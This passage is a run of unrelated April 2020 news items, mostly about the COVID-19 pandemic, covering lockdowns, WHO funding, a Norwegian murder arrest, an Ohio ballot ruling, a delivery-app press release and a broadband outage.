delivering a baby this way, but Rudy still participated. I was thrilled he could experience the birth of his first child. Immediately following Jonahs birth the worry crept in again. I wanted to do skin-to-skin contact and nurse him, but wasnt sure if theyd let him stay with me. He had tested negative for the coronavirus. They allowed me to nurse him and have him on my chest. They believed I was giving him antibodies that would protect him. I made sure not to touch his skin with my bare hands and wore my mask constantly. On March 19 I learned I was positive for COVID-19, but still they allowed me to care for Jonah (I had very few symptoms). Luckily, he has tested negative for it several times. Being in the room alone might have been the hardest part. While the nurses helped me a great deal, it was not the same as having my husband sleeping beside me. Jonah's grandparents haven't been able to hold him yet, but enjoy catching up with him through the window. (Courtesy Danielle Sol) The hospital released me on March 21 and I went home to Rudy, who was still very sick. My parents had also contracted COVID-19 and were in Plainview Hospital undergoing treatment. This was not my plan. My mother was going to stay with us to help with the baby. Instead, I spent my time alone with Jonah frantically cleaning high-touch areas, such as doorknobs and light switches, wondering if I was going to give him the virus. For weeks, he didnt see us without masks. Friends dropped off food and supplies, which made it easier for us. I was proud of myself when I realized what I did alone. I was strong enough to deliver and care for an infant by myself and I want other women to know they can, too. I have been praying for other mothers who are preparing to give birth during the pandemic. It is a scary time, but they can do it. I know. I did. Everyone in my family has almost completely recovered from COVID-19, though my mom needs more time to fully heal. They are back home and enjoy seeing Jonah through their window, but like any new grandparents, they're desperate to hold him. We cant wait until the whole experience ends and we can be together again as a family. CORRECTION (April, 29, 2020 at 9:39 a.m. EST): An earlier version of this story said Sol delivered at Katz Womens Hospital at Long Island Jewish Medical Center. Nigeria's President Muhammadu Buhari has imposed a two-week curfew in the country. The curfew applies from 8pm to 6am. The move forms part of efforts to fight the novel coronavirus. He made the announcement Monday night, April 27, in his second televised address to Nigerians. Other highlights of the address include the maintaining of the lockdown in Lagos, Abuja and Ogun States and the suspension of interstate movement. A total lockdown for the next 2 weeks in Kano as well as restriction on social and religious gatherings. He however announced his administration's intention to begin easing lockdown in Lagos from May 4th. President Buhari said from May 4, selected businesses will be allowed to open from 8am to 6pm. ---Daily Guide On April 14, President Trump announced plans to halt funding to the World Health Organization. But freezing funding to WHO in the midst of a pandemic not only endangers the lives of people around the world, it also puts Americans at risk. The importance of global health has never been clearer. COVID-19 has shown how easily dangerous infectious diseases can spread, and the cost has been high; a novel disease that started as one case in Wuhan, China, has taken over 35,000 lives and infected more than 690,000 people in the United States alone, according to the CDC. The required response to COVID-19 has also disrupted global travel and trade, halting major industries and threatening economic stability. The United Nations Conference on Trade and Development has estimated that the COVID-19 pandemic will cost the global economy $1 trillion in 2020. American workers are already feeling the effects of this global crisis as unemployment claims rise at unprecedented rates. U.S. businesses and employees will certainly continue to be affected as the virus spreads, impacting worldwide markets and decreasing demand for exports. COVID-19 has irrefutably demonstrated that the world is interconnected to a previously unimagined extent. Regardless of domestic efforts, Americans will be impacted by measures taken abroad. Previous administrations on both sides of the political spectrum have understood the importance of global health, both for improving lives internationally and safeguarding U.S. security and stability. President Bush instituted the U.S. Presidents Emergency Plan for AIDS Relief , or PEPFAR, in 2003, which is to date the largest commitment by any one country to address a single disease. The organization has since been credited with helping change the trajectory of the global HIV epidemic, saving millions of lives around the world, and enhancing global health security. President Obama activated the CDC Emergency Operations Center in response to the 2014 Ebola epidemic in West Africa to assist with local efforts, understanding that a disease spreading halfway around the world had dangerous implications for people in the United States. In the end, only 11 people were treated for Ebola in the U.S. Unlike his predecessors, President Trump has actively sought to decrease the U.S.s role in global health. The administrations 2021 budget request, released in February amid growing concerns about the coronavirus pandemic, proposed slashing $3 billion of funding for global health programs. The administration had previously proposed cutting funding to PEPFAR and asked Congress to rescind hundreds of millions of dollars in appropriations to global health security efforts. Given the clear importance of global health and impending dangers of a global pandemic, it is especially surprising that President Trump has halted funding to one of our strongest allies, WHO. Regardless of President Trumps rationale, there are clear and present dangers in withdrawing support from WHO, even temporarily. WHO plays an essential leading role in global health security, filling gaps in international health efforts by monitoring health threats worldwide, coordinating international responses, providing essential medicines and supplies, and publishing international guidelines in collaboration with 194 countries, all while operating on a budget less than many US hospitals. During the COVID-19 pandemic alone, WHO has bought and shipped 1.5 million COVID-19 test kits around the world, provided personal protective equipment to over 70 countries, trained more than 500,000 responders, and published public health guidelines which have been adopted by nearly all member states. WHOs response to COVID-19 has not been perfect, but it clearly plays an indispensable role in fighting COVID-19. Tackling the virus requires building healthcare capacity, ramping up public health efforts, addressing supply chain shortages, and developing universal prevention and treatment guidelines, and WHO is the best equipped organization to achieve these goals. Instead of impeding the organization, the U.S. should be working with WHO to improve global measures and rallying other nations to increase political and financial support. Countering COVID-19 requires collective international action, and American lives and livelihoods are on the line. In order to effectively respond to global health threats, now and in the future, we must strengthen WHO, not tear it down. Juliana Lawrence is a fourth-year medical student at the Yale School of Medicine. The millionaire husband of a Norwegian woman thought to have been abducted and held for an 8million ransom has been arrested on suspicion of her murder. Tom Hagen, 70, estimated to be worth 156million, was arrested on his way to work on Tuesday morning, in the latest twist to a case that has kept the country on tenterhooks. The real estate investor and electric company owner is accused of murdering his wife Anne-Elisabeth Hagen, then 68, when she vanished from her home in October 2018. Anne-Elisabeth Falkevik Hagen (left) is married to businessman Tom Hagen (right). Norway's 172nd richest man has now been arrested for her murder Officers initially believed she was kidnapped after a note was found at their home in Lorenskog, east of Oslo, saying she would be killed if a ransom worth the equivalent of 8 million wasn't paid. The pair had married for 49 years when she vanished. Police found signs of a struggle that suggested she had been taken away by force. But 18 months after Mrs Hagen disappeared, police lawyer Aase Kjustad Eriksson told a news conference: 'Police have come to a point where it has reason to suspect Tom Hagen of murder or conspiracy for murder.' Police Inspector Tommy Broeske told the same news conference: 'There was no kidnapping, no real negotiating counterpart or real negotiations. There are indications of a will to sidetrack (investigators). 'As other hypotheses have been weakened, suspicions against Tom Hagen have gradually been strengthened.' Norwegian police have arrested Tom Hagen on charges of 'murder or complicity in the murder' of his wife Anne-Elisabeth (above) Police block off the residence of the Hagen couple after Anne-Elisabeth Hagen's husband Tom Hagen was arrested in a police action in Lorenskog, Norway Policemen search Tom Hagen's workplace in the Futurum building in Lorenskog near Oslo, Norway Police officers re-examine the couple's home in Lorenskog, Norway. The public broadcaster NRK said police began investigating Hagen in secret last summer Photographs show investigators searching Hagen's home and work building after his arrest was made. Local media NRK said that police seized several cardboard boxes of material from his workplace, the Futurum building on Rasta. The public broadcaster also said police began investigating Hagen in secret last summer. Prosecutor Aase Kjustad Eriksson said authorities would look to hold Hagen for four weeks in pre-trial custody and that more arrests were possible. Hagens lawyer Svein Holden told local media his client had nothing to do with Anne-Elisabeths disappearance. Family lawyer Svein Holden arrives at the police station at Lillestrom near Oslo, Norway, after Mr Hagen husband was arrested Investigators can be seen above at Mr Hagen's home in Oslo. Police had initially kept the case secret so that media attention would not detract from their efforts to find her. They eventually decided to go public in the hope that this would bring more leads The case has gripped Norway since police announced Mrs Hagen's disappearance in January 2019. Police had initially kept the case secret so that media attention would not detract from their efforts to find her. They eventually decided to go public in the hope that this would bring more leads. At the time, police released CCTV of a man seen walking outside Hagen's office on the day his wife went missing. They released two surveillance videos taken from outside the businessman's office on the day Falkevik Hagen disappeared, asking three people seen in the footage to get in touch. It was speculated that she could have been attacked when raiders snatched her from the couple's bathroom at their house, which is surrounded by woodland. Falkevik Hagen disppeared from her family home in Lorenskog, east of Oslo and 31 miles from the Swedish border, on October 31 2018 Just a week after the police went public, the alleged kidnappers contacted the family via a digital platform, their family lawyer, said at the time. 'The family has not seen proof that Anne-Elisabeth is alive nor that the people who claim to be in control of Anne-Elisabeth actually do have her now,' Holden said then. But eight months after her disappearance and with no leads to pursue, chief police investigator Tommy Broeske said detectives had changed their 'main hypothesis' about the case. Norwegian police arrested Tom Hagen on charges of 'murder or complicity in the murder' of his wife Anne-Elisabeth Hagen on 28 April 2020, as revealed in a press conference by Tommy Broeske (above) At the time, he said: 'The most likely is that she has been exposed to a serious crime but we consider it less likely that we are facing abduction with an economic motive. 'The main hypothesis has been changed to that she has been killed.' Kidnappings and murders are incredibly rare in Norway, which prides itself on low crime rates. Police Inspector Tommy Broeske said: 'As other hypotheses have been weakened, suspicions against Tom Hagen (above) have gradually been strengthened' Being held under suspicion of a crime is a legal status that allows police to make an arrest and for a suspect to get a lawyer. Formal charges, if brought, come much later in the legal process, sometimes only weeks before a court case begins. Hagen is the second-oldest from a farming family of 12 children and made his money his fortune co-founding the electric supplier Elkraft in 1991. He currently holds a 70 per cent stake in the company, which operates throughout Scandinavia. COLUMBUS, Ohio -- A Franklin County judge has rejected a lawsuit seeking to allow electronic signature gathering for Ohio state issue campaigns, among other changes loosening ballot-access rules, amid the coronavirus pandemic. The Tuesday decision from Common Pleas Judge David C. Young is a blow to the two campaigns that brought the lawsuit Ohioans for Raising the Wage, which wants to amend Ohios constitution to hike the states hourly minimum wage to $13, and Ohioans for Raising the Wage and Ohioans for Secure and Fair Elections, which wants automatic voter registration for Ohioans who visit the BMV and other voting reforms. The campaigns had sought to lower the bar for making the ballot, a process which requires them to gather signatures from 452,958 voters in 44 of Ohios 88 counties by July 1. That included allowing electronic signatures, reducing or waive the signature requirements, extending the deadline, or allowing the groups to continue gather signatures during a cure period during which state officials review a batch of previously submitted petitions. But Young, a Democrat, wrote the Ohio Constitution, which lays out the rules for constitutional amendment, doesnt include an exception for public-health emergencies. The plain language of the statute sets forth the requirements for ballot access, the judge wrote in denying the campaigns request for a preliminary injunction. The ability to change those requirements is reserved only to the people. The groups could still either appeal in state court or file a different lawsuit in federal court. Judges in some other states have loosened petition requirements. For example, a federal judge in Michigan extended the deadline for signature gathering for candidates by two weeks and cut signature requirements in half. Were reviewing the decision and considering our options, said Celina Coming, a spokesperson for the ACLU, which is backing the automatic-voter registration initiative. We continue to look for opportunities to ensure that all eligible Ohioans can have their voices heard and their votes protected, Toni Webb, Campaign Manager for Ohioans for Secure and Fair Elections, said in a statement. Many states have passed common sense, bipartisan reform measures to make their elections more efficient and accessible. Ohio must do the same. JAKARTA, Indonesia, April 28, 2020 (GLOBE NEWSWIRE) -- Weyland Tech, Inc. (WEYL), a leading global Platform-as-a-Service (PaaS) provider of mCommerce, eCommerce and fintech business enablement solutions, has expanded AtozGo, its popular food delivery service for office workers in Jakarta, Indonesia, to the citys residential tenants. The extended service area and hours of operation allows the citys urbanites to use the AtozGo mobile app to order food from local grocery and convenience stores, as well as other household services, including dry cleaning, shoe repair, maintenance, cleaning and water bottle delivery. Powered by Weylands m-Commerce technology and the AtozPay mobile payment platform, AtozGo allows users to easily pay for their deliveries and services using their AtozPay e-Wallet. Many city tenants have already been using the AtozPay fintech solution to pay their phone, utility, rent and other personal bills, with more than $24 million being transacted on the platform annually and growing. AtozGo makes delivery of food or services from local establishments quick and easy, and over the last eight months since its launch, the number of AtozGo registered users has grown to more than 105,000. The service has also attracted more than 1,000 delivery people, up from 680 just a month ago, by providing very flexible hours and unlimited income potential. This rapid growth resulted in a record 17,500 orders delivered in a single day. Driven by the new residential launch, AtozGos customer base is expected to grow to more than 1 million by year end. The citys total residential population of more than 30 million, along with historically more than 3.5 million commuting daily, Jakarta was an ideal location to launch AtozGo. The companys runner-based approach for a densely populated urban center like Jakarta reduces the typical delivery time by about a third, or around 15 minutes, as compared to competing services. Our launch into residential was long planned but recently accelerated due to the stay-at-home orders enacted over the last several weeks in order to curb the spread of the coronavirus, noted Djunaedy Hermawanto, CEO of Weyland Indonesia Perkasa which operates AtozPay and AtozGo. Last month, we began seeing workers ordering household items to the office, and realized they were doing this in order to avoid going out to the store later. Story continues As anticipated, our success with AtozGo has attracted the attention of other larger delivery service providers who traditionally operate in areas that require motorized delivery, said Hermawanto. Weve welcomed partnerships, like we announced with GrabFood last fall, and have continued to be engaged in a number of ongoing discussions that could involve a potential buyer of AtozGo or other major partnerships. Were considering these options since the valuations of app-based food delivery services like AtozGo are highly favorable, continued Hermawanto. If you look across the industry landscape, whether is an Uber Eats, DoorDash or Instacart, or even similar services in Southeast Asia, like GrabFood or Go-Food, the average value applied per user has been around $330. For AtozGo, this would imply a standalone valuation of more than $34 million. Today, these services are barely able to keep up with the rapid growth in demand, and analysts are predicting a permanent favorable change in customer behavior when it comes to home delivery. Combined with AtozGos unique approach to the market rapidly gaining ground, we see our value strengthening with every passing day. About Weyland Tech Weyland Tech is a developer and global provider of mobile business software applications. The company operates its CreateApp platform-as-a-service (PaaS) across three continents and 10 countries, including some of the fastest-growing emerging markets in Southeast Asia. The platform provides a mobile presence for small-and-medium sized businesses (SMBs) that is supported locally by distributor partnerships. Offered in 14 languages with more than 70 integrated modules, CreateApp enables SMBs to create and deploy native mobile applications for Apple iOS and Google Android without technical knowledge or background. The technology empowers SMBs to increase sales, reach more customers, manage logistics, and promote their products and services in an easy, affordable and highly efficient way. Earlier this year, Weyland completed the acquisition of the Minneapolis-based eCommerce technology company, Push Interactive. Push provides an eCommerce marketing solution for enterprises and major U.S. brands, including HomeAdvisor, QuinStreet and Sunrun. For more information, visit weyland-tech.com. About AtozPay and AtozGo Through Weyland Techs minority-owned subsidiary, Weyland Indonesia Perkasa (WIP), the company operates AtozPay and AtozGo. The AtozPay mobile payments platform serves the burgeoning mCommerce and e-Payment markets in Indonesia, the worlds fourth most populous country. AtozGo is a fast-growing provider of short-distance food delivery and home services from local establishments operated in Jakarta, Indonesia. For more information, visit atozpayindonesia.com. About Push Interactive The e-Commerce platform of Weylands Push Interactive subsidiary features comprehensive customer acquisition capabilities, highly productive media and channel strategies, well-tuned product promotion and messaging, and sales funnel development and optimization. The direct-to-consumer platform provides an end-to-end solution for SMBs and major brands, allowing these organizations to dramatically increase online revenue while lowering the cost of customer acquisition and order fulfillment. Post-sale, Push supports fulfillment, customer relationship management, and further monetization through re-engagement and remarketing toolsets that enhance customer lifetime value (LTV). For more information about Push Interactive, visit www.pushint.com. Important Cautions Regarding Forward Looking Statements This release contains certain forward-looking statements relating to the business of the Company. All statements, other than statements of historical fact included herein are forward-looking statements including statements regarding: the ability of the Company to successfully integrate Push, the continued growth of the eCommerce segment and the ability of the Company to continue its expansion into that segment; the ability of the Company to attract customers and partners and generate revenues; the ability of the Company to successfully execute its business plan; the business strategy, plans, and objectives of the Company; and any other statements of non-historical information. These forward-looking statements are often identified by the use of forward-looking terminology such as believes, expects or similar expressions and involve known and unknown risks and uncertainties. Although the Company believes that the expectations reflected in these forward-looking statements are reasonable, they do involve assumptions, risks, and uncertainties, and these expectations may prove to be incorrect. Investors should not place undue reliance on these forward-looking statements, which speak only as of the date of this news release. The Companys actual results could differ materially from those anticipated in these forward-looking statements as a result of a variety of factors, including those discussed in the Companys periodic reports that are filed with the Securities and Exchange Commission and available on its website (www.sec.gov). All forward-looking statements attributable to the Company or persons acting on its behalf are expressly qualified in their entirety by these factors. Other than as required under the securities laws, the Company does not assume any duty to update these forward-looking statements. Company Contact Brent Suen, CEO Weyland Tech Inc. Email contact Media & Investor Contact Ronald Both or Grant Stude CMA Tel (949) 432-7566 WEYL@cma.team Virgin Media says it has fixed an issue that took people's internet and TV service offline for hours. The issue meant that connectivity repeatedly dropped out over Monday evening and into the early hours of Tuesday morning, leaving customers without their usual service. Now it says the problem has been fixed and noted that it was not the result of increased usage owing to the coronavirus lockdown. "An intermittent broadband issue that started yesterday evening was fixed in the early hours of this morning," a spokesperson said. "This was not caused by increased usage or a lack of capacity. We know how frustrating this was for customers and we sincerely apologise for any inconvenience caused." Recommended How to improve your internet connection during lockdown The issue began in the early evening on Monday, as users found that their internet connections dropped out and their computers were unable to get online. While some found that the network appeared to restore itself, it then dropped back out again, with the issue happening repeatedly. The problems hit users across the country, most of whom are stuck working or studying at home or attempting to keep themselves entertained through the lockdown. Most internet service providers have seemingly coped with any extra demand or changes in usage as a result of coronavirus measures. Outages have been rare, and companies have said that traffic has surged less than might have been expected. Gadget and tech news: In pictures Show all 25 1 /25 Gadget and tech news: In pictures Gadget and tech news: In pictures Gun-toting humanoid robot sent into space Russia has launched a humanoid robot into space on a rocket bound for the International Space Station (ISS). The robot Fedor will spend 10 days aboard the ISS practising skills such as using tools to fix issues onboard. Russia's deputy prime minister Dmitry Rogozin has previously shared videos of Fedor handling and shooting guns at a firing range with deadly accuracy. Dmitry Rogozin/Twitter Gadget and tech news: In pictures Google turns 21 Google celebrates its 21st birthday on September 27. The The search engine was founded in September 1998 by two PhD students, Larry Page and Sergey Brin, in their dormitories at Californias Stanford University. Page and Brin chose the name google as it recalled the mathematic term 'googol', meaning 10 raised to the power of 100 Google Gadget and tech news: In pictures Hexa drone lifts off Chief engineer of LIFT aircraft Balazs Kerulo demonstrates the company's "Hexa" personal drone craft in Lago Vista, Texas on June 3 2019 Reuters Gadget and tech news: In pictures Project Scarlett to succeed Xbox One Microsoft announced Project Scarlett, the successor to the Xbox One, at E3 2019. The company said that the new console will be 4 times as powerful as the Xbox One and is slated for a release date of Christmas 2020 Getty Gadget and tech news: In pictures First new iPod in four years Apple has announced the new iPod Touch, the first new iPod in four years. The device will have the option of adding more storage, up to 256GB Apple Gadget and tech news: In pictures Folding phone may flop Samsung will cancel orders of its Galaxy Fold phone at the end of May if the phone is not then ready for sale. The $2000 folding phone has been found to break easily with review copies being recalled after backlash PA Gadget and tech news: In pictures Charging mat non-starter Apple has cancelled its AirPower wireless charging mat, which was slated as a way to charge numerous apple products at once AFP/Getty Gadget and tech news: In pictures "Super league" India shoots down satellite India has claimed status as part of a "super league" of nations after shooting down a live satellite in a test of new missile technology EPA Gadget and tech news: In pictures 5G incoming 5G wireless internet is expected to launch in 2019, with the potential to reach speeds of 50mb/s Getty Gadget and tech news: In pictures Uber halts driverless testing after death Uber has halted testing of driverless vehicles after a woman was killed by one of their cars in Tempe, Arizona. March 19 2018 Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures A humanoid robot gestures during a demo at a stall in the Indian Machine Tools Expo, IMTEX/Tooltech 2017 held in Bangalore Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures The giant human-like robot bears a striking resemblance to the military robots starring in the movie 'Avatar' and is claimed as a world first by its creators from a South Korean robotic company Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Engineers test a four-metre-tall humanoid manned robot dubbed Method-2 in a lab of the Hankook Mirae Technology in Gunpo, south of Seoul, South Korea Jung Yeon-Je/AFP/Getty Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi Rex Gadget and tech news: In pictures Waseda University's saxophonist robot WAS-5, developed by professor Atsuo Takanishi and Kaptain Rock playing one string light saber guitar perform jam session Rex Gadget and tech news: In pictures A test line of a new energy suspension railway resembling the giant panda is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A test line of a new energy suspension railway, resembling a giant panda, is seen in Chengdu, Sichuan Province, China Reuters Gadget and tech news: In pictures A concept car by Trumpchi from GAC Group is shown at the International Automobile Exhibition in Guangzhou, China Rex Gadget and tech news: In pictures A Mirai fuel cell vehicle by Toyota is displayed at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A visitor tries a Nissan VR experience at the International Automobile Exhibition in Guangzhou, China Reuters Gadget and tech news: In pictures A man looks at an exhibit entitled 'Mimus' a giant industrial robot which has been reprogrammed to interact with humans during a photocall at the new Design Museum in South Kensington, London Getty Gadget and tech news: In pictures A new Israeli Da-Vinci unmanned aerial vehicle manufactured by Elbit Systems is displayed during the 4th International conference on Home Land Security and Cyber in the Israeli coastal city of Tel Aviv Getty Some services, such as Netflix and PlayStation, have limited the speed or quality of their streams and downloads in an attempt to limit the impact on internet infrastructure. President Donald Trump said Tuesday he is considering ordering coronavirus tests for people arriving in the United States on international flights, and highlighted Brazil. "We're probably going to be doing that. Brazil has pretty much had an outbreak, as you know," he said at a White House meeting with Florida Governor Ron DeSantis. "We'll make that decision pretty soon." When asked whether he would require tests for the novel coronavirus or simple temperature checks, Trump replied "both." The Republican president said he was discussing the issue with governors, particularly DeSantis, whose state is a major destination for Latin American flights. "We're talking with others also that have a lot of business coming in from South America, Latin America, and we'll make a determination," he said. The Trump administration has previously imposed travel bans on Europe and China as a measure to stop the rapidly spreading virus, which has already killed more than 50,000 Americans, while leading to the shutting down of much of the world's biggest economy. Trump said the new precautionary measures would involve testing for coronavirus "on the plane, getting on the plane," and that the government was in discussion with the airlines. The COVID-19 pandemic raging through the globe is exerting extensive and severe impacts on global public health security and world economy, underlining the importance and urgency to gather global response efforts. Only by giving play to multilateral mechanisms, keeping the wheels of cooperation turning and illuminating the planet by building a community with a shared future for mankind, can countries and people under the dark clouds be empowered. Practices in the past showed that multilateralism can play a constructive role for mankind to jointly cope with common challenges. As a matter of fact, a great many global and regional multilateral mechanisms, such as the United Nations (UN), the Group of 20 (G20), and the Asia-Pacific Economic Cooperation (APEC) were established in response to challenges. Multilateral cooperation based on state power was part and parcel of the fight against abrupt public health crises including Ebola, as well as financial crises in both Asia and the world. This year marks the 75th anniversary of the UN, and thus is a major opportunity to test its member states commitment to multilateralism. The sudden outbreak of the novel coronavirus disease also serves as a reminder of the necessity to enhance global governance with the UN as the core and have multilateral mechanisms play their due roles. The first resolution regarding the COVID-19 adopted by the UN General Assembly on April 2 underlined that tackling the pandemic calls for coordinated and global response. The UN General Assembly adopted another resolution on April 20 to ensure global access to medicines, vaccines and medical equipment to face COVID-19. It also recognizes that the COVID-19 global pandemic requires a global response based on unity, solidarity and multilateral cooperation, reaffirms the fundamental role of the United Nations system in coordinating the global response to control and contain the spread of the coronavirus disease (COVID-19) and in supporting Member States, and acknowledges the crucial leading role played by the World Health Organization (WHO). These relevant resolutions have underscored the severity and importance of multilateral cooperation in fighting the pandemic, charting the course for the joint efforts of the world. As a UN specialized agency responsible for public health matters, the WHO is at the heart of coordinating the global response to COVID-19, and is particularly indispensable in helping African and developing countries elsewhere to tackle the disease. The organization is needed now more than ever. To support WHO in playing its role is to pool global synergy in battling the virus and save more lives A vast number of developing countries under the G-77 and China, the Non-Aligned Movement, developed countries such as France, Germany, the UK, Canada and Japan, as well as international and regional organizations like the UN and the European Union have all voiced explicit support for the WHO in continuously playing a vital role in coping with the pandemic and reinforcing global public health system. However, some politicians from certain major countries in the West only want to place the interests of their own countries above the common interests of all. Standing on the opposite side of the most countries, they spared no effort in discrediting and undermining the WHO, and even stirred up troubles on multilateral arenas. These moves only revealed their lack of conscience. China staunchly supports multilateralism and international organizations in playing their roles, as well as resolutely safeguards the authority and efficacy of multilateral mechanisms. Since the global outbreak of the COVID-19 pandemic, China, guided by the vision of building a community with a shared future for mankind, has taken unprecedented actions to coordinate and cooperate with various countries in the world to weather the storm together. China has been acting in a spirit of cooperation, providing timely updates to the WHO and countries and regions, and sharing with them the genetic sequence of the virus at the first opportunity. It donated another $30 million in cash to the WHO on the heels of the $20 million cash donation already made to support the global fight against COVID-19 and strengthen developing countries' health systems. This gives full expression to Chinas resolute support for the WHO and multilateralism. China supports the efforts of the UN and the WHO to step up policy coordination, mobilize more resources and, in particular, help developing countries with vulnerable public health systems strengthen prevention and preparedness. China has been actively propelling international cooperation in combating the pandemic under the framework of G20, and regional cooperation platforms such as Cooperation between China and Central and Eastern European Countries, the ASEAN Plus Three (APT) cooperation and ASEAN-China Cooperation. On these occasions, China put forth a series of important initiatives, with the aim of building up public health capacity and stabilizing world economy. UN Secretary General Antonio Guterres remarked that China's support was critical to the future of multilateralism, and he expected China to exercise strong leadership in international affairs. The rampant pandemic poses a common challenge to all countries that share same responsibilities and a same future. The top priority now is strengthening global governance, promoting multilateral cooperation and combating the disease through joint efforts. Only by building a community with a shared future for mankind, can the health and well-being of all people be ensured and a better development vision realized. Bengaluru: Following a steep increase in Covid-19 positive cases in Karnataka, particularly Bengaluru, the state government has decided to continue the lockdown till May 15. However, relaxations will be allowed in the green zones and places other than containment zones. During chief minister B S Yediyurappa's video conference yesterday deputy commissioners and top bureaucrats, a majority of the officers said it would be better to continue the lockdown till May 15. They said an immediate relaxation may trigger adverse consequences in the containment zones, where the number of positive cases is higher. The chief minister said though the lockdown will go on till May 15, the government would allow commercial and industrial activities in the green zones. Senior ministers who attended the video conference said that the government is likely to allow industrial activities in areas other than containment zones, except in Bengaluru. It may allow industrial activities in the rural parts of Bengaluru using minimum labour. Yediyurappa expressed this opinion when he attended the video conference with prime minister Narendra Modi. However, the PM did not made any comment on the suggestion to continue the lockdown till May 15. In fact the PM left it to the state governments to relax the lockdown in a phased manner. Before such a step-by-step relaxation, the government will issue guidelines to the public and private industrial sectors. Doctors have suggested that it should be compulsory for people to wear a mask outside their homes. Ukrainian Parliament Commissioner for Human Rights Liudmyla Denisova held an online meeting with representatives of the European Union and the Council of Europe. An online meeting with representatives of the European Union and the Council of Europe was held, during which a report by the Council of Europe was represented on the National Preventive Mechanism in Ukraine implemented by the Ombudsman. I thanked the international partners for their support and cooperation," Denisova wrote on her Telegram channel. According to her, activities of the Ombudsman were highly praised in the report. Denisova also added that the parties during the online meeting agreed to strengthen and deepen cooperation, particularly to conduct a series of trainings for the Ombudsman's staff and public monitors so that to effectively and qualitatively implement the national preventive mechanism in Ukraine. iy While many mysteries remain about the coronavirus, one thing we know for sure is that older people are at greater risk of serious complications, or even death, should they be infected. And where do we have a high proportion of older people? Why, in care homes, of course. So you would think, would you not, that the Care Quality Commission (CQC) the regulatory body that oversees the standard of care provided in care homes, and indeed collates the number of deaths among residents would have been shouting from the rooftops about what is needed to protect the most vulnerable sector of our society. You might think it would be calling for testing of staff and residents, as well as asking for suitable equipment for workers. While many mysteries remain about the coronavirus, one thing we know for sure is that older people are at greater risk of serious complications, or even death, should they be infected But, actually, the silence from the CQC has been deafening. Only now are care-home staff finally receiving the attention and support they need. And the responsibility for the long delay, which in turn has allowed the escalating death rate, must lie, at least in part, at the door of the CQC and NHS England, which appears to be weeks behind in its response to the dangers of Covid-19 within the social care sector. We are told that UK care-home inspectors did not ask managers about the number of Covid-19 deaths until two-and-a-half weeks after the UK went into lockdown one month after the World Health Organisation declared a global pandemic. Some claim the CQC is guilty of dragging its feet I'll say. The consequence of this inaction is an escalation of deaths in care homes. Many people who are discharged from hospital following treatment are now admitted to care homes and no doubt act as vectors of the virus. Every entrant must be tested before access, there is no other argument. When I was chairman of the Independent Doctors Federation, I was asked to report to the offices of the regulatory body that was eventually renamed the CQC. I was summoned to discuss its proposals for inspection of general practice in the private sector. This was years ago the agency had decided to cut its teeth with us before spreading out to create chaos in NHS general practice. We are told that UK care-home inspectors did not ask managers about the number of Covid-19 deaths until two-and-a-half weeks after the UK went into lockdown one month after the World Health Organisation declared a global pandemic When I arrived at an impressive glass tower block that would not look out of place in a Hollywood film, I was told the executives would not see me until I produced my passport to prove my identity. Once I had managed to convince security of my status, I was allowed to take a high-speed elevator to the CQC offices. However, its glass doors failed, and I eventually arrived via the fire escape. I was then interviewed, prior to discussion of the agenda, by two young arts or social science graduates who were wearing jeans and T-shirts; they would have been unlikely to have been employed in my practice as reception staff, so great was their ignorance and naivety about healthcare. I'm afraid to say things don't appear to have improved. DON'T KID YOURSELF THAT A VACCINE IS CLOSE There is so much still to learn about the coronavirus, not least what kind of immunity is conferred by infection. When you have chickenpox, for example, you recover because you have developed immunity, part of which is the production of proteins called antibodies. When you next meet the virus, the antibodies enable you to shrug off the infection and you do not experience a second attack. But the virus has not gone from your body, it is locked down in nerve tissue, and sometimes, later in life when your immunity is compromised for some reason, the virus can escape. It becomes reactivated, and travels down nerve pathways to cause a painful blistering eruption called shingles. Many teams are working on potential vaccines for the coronavirus and there is hope, but it will be a long time coming maybe not five years, but probably at least one An attack of measles results in lifelong immunity. But on rare occasions the virus remains dormant in the brain, only to return years later to cause subacute sclerosing panencephalitis, a progressive neurological disorder that leads to inflammation of the brain, which can be fatal. When finally a measles vaccine was developed in 1972, it was after years and years spent in development. The last new vaccine to be created and used on a wide scale was against Ebola. It took five years, a measure of the complexity of creating an effective, and safe, vaccine. Many teams are working on potential vaccines for the coronavirus and there is hope, but it will be a long time coming maybe not five years, but probably at least one. Politicians and scientists must not suggest this stands a hope of being available sooner. A virus is a complex enemy to which there is no quick fix. Nestle Egypt has temporarily closed one of its factories in Giza's 6 October City due to the detection of coronavirus cases, said the company in a press release on Monday. The multinational Switzerland-based company's statement said the factory is specialised in producing dry goods, without providing further details on the number of infections, date of discovery, or the patients' health status. "The company takes all necessary measures in coordination with the Ministry of Health and the relevant bodies to sterilise and disinfect the factory in order to resume production operations at the facility as soon as possible," the statement added. The food and drink processing company stressed that the health and safety of employees is on its top priorities and that since the beginning of the pandemic, the company has been working to provide safe food and drinks for customers. Nestle has been implementing additional preventative measures to maintain the safety of employees, products, partners and the communities in which it operates, the statement stressed. Egypt has so far reported 4,782 coronavirus infections and 337 fatalities. Search Keywords: Short link: 'There has been a marked increase in four types of cases.' 'One is fraud related to online deliveries, online shopping and online groceries and liquor.' 'Second fake news, third hate speech and fourth sextortion.' "Assuming that people would spend more time on social media during the lockdown, cyber criminals shifted their activities more on social media." Dr Balsing Rajput, Superintendent of Police, Maharashtra Cyber Cell, reveals to Prasanna D Zore/Rediff.com the latest methods used by cyber criminals to defraud You. A Chevening Cyber Security Fellow with a doctorate in philosophy from the Tata Institute of Social Sciences, the soft-spoken Indian Police Service officer has been at the forefront of handling cyber security in Maharashtra since March 2016. The first of a two-part interview: How have the cyber criminals changed their activities to take advantage of the national lockdown? What are the new trends emerging in cyber crime? There are a few changes in the modus operandi of cyber criminals after the lockdown. 